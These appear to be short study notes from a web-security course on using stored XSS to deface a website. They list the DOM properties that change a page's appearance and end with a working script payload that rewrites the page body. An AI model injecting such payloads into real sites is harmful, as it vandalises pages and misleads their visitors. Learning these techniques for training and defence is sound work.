Defacing

• common attack usually with XSS is to deface the website.

• eg: change the website header to show that this website is pwned.

  • https://www.bbc.co.uk/news/technology-43812539

• 

  • Four HTML elements are usually utilized to change the main look of a web page:
    • Background Color document.body.style.background
    • Background document.body.background
    • Page Title document.title
    • Page Text DOM.innerHTML

Attack:

• When we find stored xss:
  • Add a background color
  • add a backgroud image
  • add a page title
  • add some page text to change the main body as below

Change the main body:

<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>

- -